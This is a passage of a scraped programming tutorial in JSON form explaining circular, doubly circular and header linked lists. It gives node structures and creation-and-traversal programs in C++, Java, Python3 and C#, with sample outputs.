"s": 41065, "text": "C++" }, { "code": null, "e": 41074, "s": 41069, "text": "Java" }, { "code": null, "e": 41082, "s": 41074, "text": "Python3" }, { "code": null, "e": 41085, "s": 41082, "text": "C#" }, { "code": "// Structure for a nodeclass Node {public: int data; // Pointer to next node in CLL Node* next;};", "e": 41193, "s": 41085, "text": null }, { "code": "// Structure for a nodestatic class Node{ int data; // Pointer to next node in CLL Node next;}; // This code is contributed by shivanisinghss2110", "e": 41345, "s": 41193, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None", "e": 41453, "s": 41345, "text": null }, { "code": "// Structure for a nodepublic class Node{ public int data; // Pointer to next node in CLL public Node next;}; // This code is contributed by shivanisinghss2110", "e": 41619, "s": 41453, "text": null }, { "code": null, "e": 41667, "s": 41619, "text": "Creation and Traversal of Circular Linked List:" }, { "code": null, "e": 41671, "s": 41667, "text": "C++" }, { "code": null, "e": 41676, "s": 41671, "text": "Java" }, { "code": null, "e": 41684, "s": 41676, "text": "Python3" }, { "code": null, "e": 41687, "s": 41684, "text": "C#" }, { "code": "// C++ program to illustrate creation// and traversal of Circular LL#include <bits/stdc++.h>using namespace std; // Structure for a nodeclass Node {public: int data; Node* next;}; // Function to insert a node at the// beginning of Circular LLvoid push(Node** head_ref, int data){ Node* ptr1 = new Node(); Node* temp = *head_ref; ptr1->data = data; ptr1->next = *head_ref; // If linked list is not NULL then // set the next of last node if (*head_ref != NULL) { while (temp->next != *head_ref) { temp = temp->next; } temp->next = ptr1; } // For the first node else ptr1->next = ptr1; *head_ref = ptr1;} // Function to print nodes in the// Circular Linked Listvoid printList(Node* head){ Node* temp = head; if (head != NULL) { do { // Print the data cout << temp->data << \" \"; temp = temp->next; } while (temp != head); }} // Driver Codeint main(){ // Initialize list as empty Node* head = NULL; // Created linked list will // be 11->2->56->12 push(&head, 12); push(&head, 56); push(&head, 2); push(&head, 11); cout << \"Contents of Circular\" << \" Linked List\\n \"; printList(head); return 0;}", "e": 42959, "s": 41687, "text": null }, { "code": "// Java program to illustrate// creation and traversal of// Circular LLimport java.util.*;class GFG{ // Structure for a// nodestatic class Node{ int data; Node next;}; // Function to insert a node// at the beginning of Circular// LLstatic Node push(Node head_ref, int data){ Node ptr1 = new Node(); Node temp = head_ref; ptr1.data = data; ptr1.next = head_ref; // If linked list is not // null then set the next // of last node if (head_ref != null) { while (temp.next != head_ref) { temp = temp.next; } temp.next = ptr1; } // For the first node else ptr1.next = ptr1; head_ref = ptr1; return head_ref;} // Function to print nodes in// the Circular Linked Liststatic void printList(Node head){ Node temp = head; if (head != null) { do { // Print the data System.out.print(temp.data + \" \"); temp = temp.next; } while (temp != head); }} // Driver Codepublic static void main(String[] args){ // Initialize list as empty Node head = null; // Created linked list will // be 11.2.56.12 head = push(head, 12); head = push(head, 56); head = push(head, 2); head = push(head, 11); System.out.print(\"Contents of Circular\" + \" Linked List\\n \"); printList(head);}} // This code is contributed by gauravrajput1", "e": 44269, "s": 42959, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None class CircularLinkedList: def __init__(self): self.head = None self.last_node = None # function to add elements to circular linked list def append(self, data): # is circular linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of circular linked list else: self.last_node.next = Node(data) self.last_node = self.last_node.next self.last_node.next = self.head # function to print the content of circular linked list def display(self): current = self.head while current is not None: print(current.data, end=' ') current = current.next if current == self.head: break print() if __name__ == '__main__': L = CircularLinkedList() L.append(1) L.append(2) L.append(3) L.append(4) L.display()", "e": 45403, "s": 44269, "text": null }, { "code": "// C# program to illustrate// creation and traversal of// Circular LLusing System; class GFG{ // Structure for a// nodepublic class Node{ public int data; public Node next;}; // Function to insert a node// at the beginning of Circular// LLstatic Node push(Node head_ref, int data){ Node ptr1 = new Node(); Node temp = head_ref; ptr1.data = data; ptr1.next = head_ref; // If linked list is not // null then set the next // of last node if (head_ref != null) { while (temp.next != head_ref) { temp = temp.next; } temp.next = ptr1; } // For the first node else ptr1.next = ptr1; head_ref = ptr1; return head_ref;} // Function to print nodes in// the Circular Linked Liststatic void printList(Node head){ Node temp = head; if (head != null) { do { // Print the data Console.Write(temp.data + \" \"); temp = temp.next; } while (temp != head); }} // Driver Codepublic static void Main(String[] args){ // Initialize list as empty Node head = null; // Created linked list will // be 11.2.56.12 head = push(head, 12); head = push(head, 56); head = push(head, 2); head = push(head, 11); Console.Write(\"Contents of Circular \" + \"Linked List\\n \"); printList(head);}} // This code is contributed by gauravrajput1", "e": 46731, "s": 45403, "text": null }, { "code": null, "e": 46776, "s": 46731, "text": "Contents of Circular Linked List\n 11 2 56 12" }, { "code": null, "e": 47260, "s": 46776, "text": "Doubly Circular linked list: A Doubly Circular linked list or a circular two-way linked list is a more complex type of linked-list that contains a pointer to the next as well as the previous node in the sequence. The difference between the doubly linked and circular doubly list is the same as that between a singly linked list and a circular linked list. The circular doubly linked list does not contain null in the previous field of the first node. Below is the image for the same:" }, { "code": null, "e": 47302, "s": 47260, "text": "Structure of Doubly Circular Linked List:" }, { "code": null, "e": 47306, "s": 47302, "text": "C++" }, { "code": null, "e": 47311, "s": 47306, "text": "Java" }, { "code": null, "e": 47319, "s": 47311, "text": "Python3" }, { "code": null, "e": 47322, "s": 47319, "text": "C#" }, { "code": "// Node of doubly circular linked liststruct Node { int data; // Pointer to next node in DCLL struct Node* next; // Pointer to the previous node in DCLL struct Node* prev;};", "e": 47514, "s": 47322, "text": null }, { "code": "// Structure of a Nodestatic class Node{ int data; // Pointer to next node in DCLL Node next; // Pointer to the previous node in DCLL Node prev;}; //this code is contributed by shivanisinghss2110", "e": 47735, "s": 47514, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None", "e": 47871, "s": 47735, "text": null }, { "code": "// Structure of a Nodepublic class Node{ public int data; // Pointer to next node in DCLL public Node next; // Pointer to the previous node in DCLL public Node prev;}; // This code is contributed by shivanisinghss2110", "e": 48115, "s": 47871, "text": null }, { "code": null, "e": 48170, "s": 48115, "text": "Creation and Traversal of Doubly Circular Linked List:" }, { "code": null, "e": 48174, "s": 48170, "text": "C++" }, { "code": null, "e": 48179, "s": 48174, "text": "Java" }, { "code": null, "e": 48187, "s": 48179, "text": "Python3" }, { "code": null, "e": 48190, "s": 48187, "text": "C#" }, { "code": "// C++ program to illustrate creation// & traversal of Doubly Circular LL#include <bits/stdc++.h>using namespace std; // Structure of a Nodestruct Node { int data; struct Node* next; struct Node* prev;}; // Function to insert Node at// the beginning of the Listvoid insertBegin(struct Node** start, int value){ // If the list is empty if (*start == NULL) { struct Node* new_node = new Node; new_node->data = value; new_node->next = new_node->prev = new_node; *start = new_node; return; } // Pointer points to last Node struct Node* last = (*start)->prev; struct Node* new_node = new Node; // Inserting the data new_node->data = value; // Update the previous and // next of new node new_node->next = *start; new_node->prev = last; // Update next and previous // pointers of start & last last->next = (*start)->prev = new_node; // Update start pointer *start = new_node;} // Function to traverse the circular// doubly linked listvoid display(struct Node* start){ struct Node* temp = start; printf(\"\\nTraversal in\" \" forward direction \\n\"); while (temp->next != start) { printf(\"%d \", temp->data); temp = temp->next; } printf(\"%d \", temp->data); printf(\"\\nTraversal in \" \"reverse direction \\n\"); Node* last = start->prev; temp = last; while (temp->prev != last) { // Print the data printf(\"%d \", temp->data); temp = temp->prev; } printf(\"%d \", temp->data);} // Driver Codeint main(){ // Start with the empty list struct Node* start = NULL; // Insert 5 // So linked list becomes 5->NULL insertBegin(&start, 5); // Insert 4 at the beginning // So linked list becomes 4->5 insertBegin(&start, 4); // Insert 7 at the end // So linked list becomes 7->4->5 insertBegin(&start, 7); printf(\"Created circular doubly\" \" linked list is: \"); display(start); return 0;}", "e": 50228, "s": 48190, "text": null }, { "code": "// Java program to illustrate creation// & traversal of Doubly Circular LLimport java.util.*; class GFG{ // Structure of a Nodestatic class Node{ int data; Node next; Node prev;}; // Start with the empty liststatic Node start = null; // Function to insert Node at// the beginning of the Liststatic void insertBegin( int value){ // If the list is empty if (start == null) { Node new_node = new Node(); new_node.data = value; new_node.next = new_node.prev = new_node; start = new_node; return; } // Pointer points to last Node Node last = (start).prev; Node new_node = new Node(); // Inserting the data new_node.data = value; // Update the previous and // next of new node new_node.next = start; new_node.prev = last; // Update next and previous // pointers of start & last last.next = (start).prev = new_node; // Update start pointer start = new_node;} // Function to traverse the circular// doubly linked liststatic void display(){ Node temp = start; System.out.printf(\"\\nTraversal in\" +\" forward direction \\n\"); while (temp.next != start) { System.out.printf(\"%d \", temp.data); temp = temp.next; } System.out.printf(\"%d \", temp.data); System.out.printf(\"\\nTraversal in \" + \"reverse direction \\n\"); Node last = start.prev; temp = last; while (temp.prev != last) { // Print the data System.out.printf(\"%d \", temp.data); temp = temp.prev; } System.out.printf(\"%d \", temp.data);} // Driver Codepublic static void main(String[] args){ // Insert 5 // So linked list becomes 5.null insertBegin( 5); // Insert 4 at the beginning // So linked list becomes 4.5 insertBegin( 4); // Insert 7 at the end // So linked list becomes 7.4.5 insertBegin( 7); System.out.printf(\"Created circular doubly\" + \" linked list is: \"); display();}} // This code is contributed by shikhasingrajput", "e": 52281, "s": 50228, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None class DoublyLinkedList: def __init__(self): self.head = None self.start_node = None self.last_node = None # function to add elements to doubly linked list def append(self, data): # is doubly linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of doubly linked list else: new_node = Node(data) self.last_node.next = new_node new_node.previous = self.last_node new_node.next = self.head self.last_node = new_node # function to print the content of doubly linked list def display(self, Type = 'Left_To_Right'): if Type == 'Left_To_Right': current = self.head while current.next is not None: print(current.data, end=' ') current = current.next if current == self.head: break print() else: current = self.last_node while current.previous is not None: print(current.data, end=' ') current = current.previous if current == self.last_node.next: print(self.last_node.next.data, end=' ') break print() if __name__ == '__main__': L = DoublyLinkedList() L.append(1) L.append(2) L.append(3) L.append(4) L.display('Left_To_Right') L.display('Right_To_Left')", "e": 53994, "s": 52281, "text": null }, { "code": "// C# program to illustrate creation// & traversal of Doubly Circular LLusing System; public class GFG{ // Structure of a Nodepublic class Node{ public int data; public Node next; public Node prev;}; // Start with the empty liststatic Node start = null; // Function to insert Node at// the beginning of the Liststatic void insertBegin( int value){ Node new_node = new Node(); // If the list is empty if (start == null) { new_node.data = value; new_node.next = new_node.prev = new_node; start = new_node; return; } // Pointer points to last Node Node last = (start).prev; // Inserting the data new_node.data = value; // Update the previous and // next of new node new_node.next = start; new_node.prev = last; // Update next and previous // pointers of start & last last.next = (start).prev = new_node; // Update start pointer start = new_node;} // Function to traverse the circular// doubly linked liststatic void display(){ Node temp = start; Console.Write(\"\\nTraversal in\" +\" forward direction \\n\"); while (temp.next != start) { Console.Write(temp.data + \" \"); temp = temp.next; } Console.Write(temp.data + \" \"); Console.Write(\"\\nTraversal in \" + \"reverse direction \\n\"); Node last = start.prev; temp = last; while (temp.prev != last) { // Print the data Console.Write( temp.data + \" \"); temp = temp.prev; } Console.Write( temp.data + \" \");} // Driver Codepublic static void Main(String[] args){ // Insert 5 // So linked list becomes 5.null insertBegin( 5); // Insert 4 at the beginning // So linked list becomes 4.5 insertBegin( 4); // Insert 7 at the end // So linked list becomes 7.4.5 insertBegin( 7); Console.Write(\"Created circular doubly\" + \" linked list is: \"); display();}} // This code is contributed by 29AjayKumar", "e": 56016, "s": 53994, "text": null }, { "code": null, "e": 56134, "s": 56016, "text": "Created circular doubly linked list is: \nTraversal in forward direction \n7 4 5 \nTraversal in reverse direction \n5 4 7" }, { "code": null, "e": 56453, "s": 56134, "text": "Header Linked List: A header linked list is a special type of linked list which contains a header node at the beginning of the list. So, in a header linked list START will not point to the first node of the list but START will contain the address of the header node. Below is the image for Grounded Header Linked List:" }, { "code": null, "e": 56495, "s": 56453, "text": "Structure of Grounded Header Linked List:" }, { "code": null, "e": 56499, "s": 56495, "text": "C++" }, { "code": null, "e": 56507, "s": 56499, "text": "Python3" }, { "code": null, "e": 56512, "s": 56507, "text": "Java" }, { "code": null, "e": 56515, "s": 56512, "text": "C#" }, { "code": "// Structure of the liststruct link { int info; // Pointer to the next node struct link* next;};", "e": 56622, "s": 56515, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None", "e": 56730, "s": 56622, "text": null }, { "code": "// Structure of the liststatic class link { int info; // Pointer to the next node link next;}; // this code is contributed by shivanisinghss2110", "e": 56890, "s": 56730, "text": null }, { "code": "// Structure of the listpublic class link { public int info; // Pointer to the next node public link next;}; // this code is contributed by shivanisinghss2110", "e": 57063, "s": 56890, "text": null }, { "code": null, "e": 57109, "s": 57063, "text": "Creation and Traversal of Header Linked List:" }, { "code": null, "e": 57113, "s": 57109, "text": "C++" }, { "code": null, "e": 57118, "s": 57113, "text": "Java" }, { "code": null, "e": 57126, "s": 57118, "text": "Python3" }, { "code": null, "e": 57129, "s": 57126, "text": "C#" }, { "code": "// C++ program to illustrate creation// and traversal of Header Linked List#include <bits/stdc++.h>// #include <malloc.h>// #include <stdio.h> // Structure of the liststruct link { int info; struct link* next;}; // Empty Liststruct link* start = NULL; // Function to create header of the// header linked liststruct link* create_header_list(int data){ // Create a new node struct link *new_node, *node; new_node = (struct link*) malloc(sizeof(struct link)); new_node->info = data; new_node->next = NULL; // If it is the first node if (start == NULL) { // Initialize the start start = (struct link*) malloc(sizeof(struct link)); start->next = new_node; } else { // Insert the node in the end node = start; while (node->next != NULL) { node = node->next; } node->next = new_node; } return start;} // Function to display the// header linked liststruct link* display(){ struct link* node; node = start; node = node->next; // Traverse until node is // not NULL while (node != NULL) { // Print the data printf(\"%d \", node->info); node = node->next; } printf(\"\\n\"); // Return the start pointer return start;} // Driver Codeint main(){ // Create the list create_header_list(11); create_header_list(12); create_header_list(13); // Print the list printf(\"List After inserting\" \" 3 elements:\\n\"); display(); create_header_list(14); create_header_list(15); // Print the list printf(\"List After inserting\" \" 2 more elements:\\n\"); display(); return 0;}", "e": 58811, "s": 57129, "text": null }, { "code": "// Java program to illustrate creation// and traversal of Header Linked List class GFG{// Structure of the liststatic class link { int info; link next;}; // Empty Liststatic link start = null; // Function to create header of the// header linked liststatic link create_header_list(int data){ // Create a new node link new_node, node; new_node = new link(); new_node.info = data; new_node.next = null; // If it is the first node if (start == null) { // Initialize the start start = new link(); start.next = new_node; } else { // Insert the node in the end node = start; while (node.next != null) { node = node.next; } node.next = new_node; } return start;} // Function to display the// header linked liststatic link display(){ link node; node = start; node = node.next; // Traverse until node is // not null while (node != null) { // Print the data System.out.printf(\"%d \", node.info); node = node.next; } System.out.printf(\"\\n\"); // Return the start pointer return start;} // Driver Codepublic static void main(String[] args){ // Create the list create_header_list(11); create_header_list(12); create_header_list(13); // Print the list System.out.printf(\"List After inserting\" + \" 3 elements:\\n\"); display(); create_header_list(14); create_header_list(15); // Print the list System.out.printf(\"List After inserting\" + \" 2 more elements:\\n\"); display(); }} // This code is contributed by 29AjayKumar", "e": 60429, "s": 58811, "text": null }, { "code": "# structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None class LinkedList: def __init__(self): self.head = Node(0) self.last_node = self.head # function to add elements to header linked list def append(self, data): self.last_node.next = Node(data) self.last_node = self.last_node.next # function to print the content of header linked list def display(self): current = self.head.next # traversing the header linked list while current is not None: # at each node printing its data print(current.data, end=' ') # giving current next node current = current.next # print(self.head.data) print() if __name__ == '__main__': L = LinkedList() # adding elements to the header linked list L.append(1) L.append(2) L.append(3) L.append(4) # displaying elements of header linked list L.display()", "e": 61412, "s": 60429, "text": null }, { "code": "// C# program to illustrate creation// and traversal of Header Linked List using System; public class GFG{// Structure of the listpublic class link { public int info; public link next;}; // Empty Liststatic link start = null; // Function to create header of the// header linked liststatic link create_header_list(int data){ // Create a new node link new_node, node; new_node = new link(); new_node.info = data; new_node.next = null; // If it is the first node if (start == null) { // Initialize the start start = new link(); start.next = new_node; } else { // Insert the node in the end node = start; while (node.next != null) { node = node.next; } node.next = new_node; } return start;} // Function to display the// header linked liststatic link display(){ link node; node = start; node = node.next; // Traverse until node is // not null while (node != null) { // Print the data Console.Write(\"{0} \", node.info); node = node.next; } Console.Write(\"\\n\"); // Return the start pointer return start;} // Driver Codepublic static void Main(String[] args){ // Create the list create_header_list(11); create_header_list(12); create_header_list(13); // Print the list Console.Write(\"List After inserting\" + \" 3 elements:\\n\"); display(); create_header_list(14); create_header_list(15); // Print the list Console.Write(\"List After inserting\" + \" 2 more elements:\\n\"); display(); }} // This code is contributed by 29AjayKumar", "e": 63051, "s": 61412, "text": null }, { "code": null, "e": 63147, "s": 63051, "text": "List After inserting 3 elements:\n11 12 13 \nList After inserting 2 more elements:\n11 12 13 14 15" }, { "code": null, "e": 63160, "s": 63147, "text": "princi singh" }, { "code": null, "e": 63175, "s": 63160, "text": "amit143katiyar" }, { "code": null, "e": 63189, "s": 63175, "text": "GauravRajput1" }, { "code": null, "e": 63206, "s": 63189, "text": "shikhasingrajput" }, { "code": null, "e": 63218, "s": 63206, "text": "29AjayKumar" }, { "code": null, "e": 63229, "s": 63218, "text": "tuhinchess" }, { "code": null, "e": 63242, "s": 63229, "text": "premansh2001" }, { "code": null, "e": 63254, "s": 63242, "text": "unknown2108" }, { "code": null, "e": 63273, "s": 63254, "text": "shivanisinghss2110" }, { "code": null, "e": 63288, "s": 63273, "text": "SHUBHAMSINGH10" }, { "code": null, "e": 63302, "s": 63288, "text": "sumitgumber28" }, { "code": null, "e": 63323, "s": 63302, "text": "circular linked list" }, { "code": null, "e": 63342, "s": 63323, "text": "doubly linked list" }, { "code": null, "e": 63355, "s": 63342, "text": "Linked Lists" }, { "code": null, "e": 63371, "s": 63355, "text": "Data Structures" }, { "code": null, "e": 63383, "s": 63371, "text": "Linked List" }, { "code": null, "e": 63399, "s": 63383, "text": "Data Structures" }, { "code": null, "e": 63411, "s": 63399, "text": "Linked List" }, { "code": null, "e": 63432, "s": 63411, "text": "circular linked list" }, { "code": null, "e": 63530, "s": 63432, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 63573, "s": 63530, "text": "Data Structures | Linked List | Question 5" }, { "code": null, "e": 63620, "s": 63573, "text": "Data Structures | Tree Traversals | Question 4" }, { "code": null, "e": 63663, "s": 63620, "text": "Data Structures | Linked List | Question 6" }, { "code": null, "e": 63724, "s": 63663, "text": "Difference between Singly linked list and Doubly linked list" }, { "code": null, "e": 63768, "s": 63724, "text": "Advantages and Disadvantages of Linked List" }, { "code": null, "e": 63790, "s": 63768, "text": "Reverse a linked list" }, { "code": null, "e": 63838, "s": 63790, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 63857, "s": 63838, "text": "LinkedList in Java" }, { "code": null, "e": 63878, "s": 63857, "text": "Linked List vs Array" } ]